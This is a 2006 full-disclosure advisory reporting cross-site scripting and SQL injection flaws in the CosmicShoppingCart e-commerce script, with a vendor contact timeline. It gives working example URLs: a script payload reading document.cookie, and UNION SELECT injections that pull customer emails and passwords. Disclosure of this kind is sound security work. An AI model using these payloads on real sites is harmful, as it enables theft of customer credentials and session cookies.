[Full-disclosure] ZH2006-20 SA: CosmicShoppingCart Multiple Vulnerabilities

2006-05-27T00:00:00
ID SECURITYVULNS:DOC:12862
Type securityvulns
Reporter Securityvulns
Modified 2006-05-27T00:00:00

Description

Software: CosmicShoppingCart (www.cosmicphp.com) Risk: Medium Discovered by: Vympel (Marcelo Almeida) Background: CosmicShoppingCart is a PHP / MySQL e-commerce system. It is a fully customizable, shopping cart designed. Description:

Multiple Cross site scripting and SQL injection vulnerabilities have been found in CosmicShoppingCart.

Details:

1)Multiple Cross site scripting vulnerabilities have been found in the following pages: cosmicshop/search.php cosmicshop/search_cat.php cosmicshop/search_price.php cosmicshop/product_details.php

Examples: cosmicshop/search.php?query=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E cosmicshop/search_cat.php=doc&data=%3Cscript%3Ealert('xss');%3C/script%3E

2)SQL injections have been found, they could be exploited by users to retrieve the passwords of the admin.

Examples: cosmicshop/search.php?max=-1%20UNION%20SELECT%201,1,1,cust_password,1,1,1,1,1%20FROM%20custs/* cosmicshop/search.php?max='2'%20UNION%20SELECT%20'a','a','a',cust_email,cust_password,'abc',1,'a','a'%20FROM%20custs--

Vendor: First contact 16/02/2005 Contacted again in 25/03/2005 Publish advisory 25/05/2006

http://www.zone-h.org/advisories/read/id=9058


Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/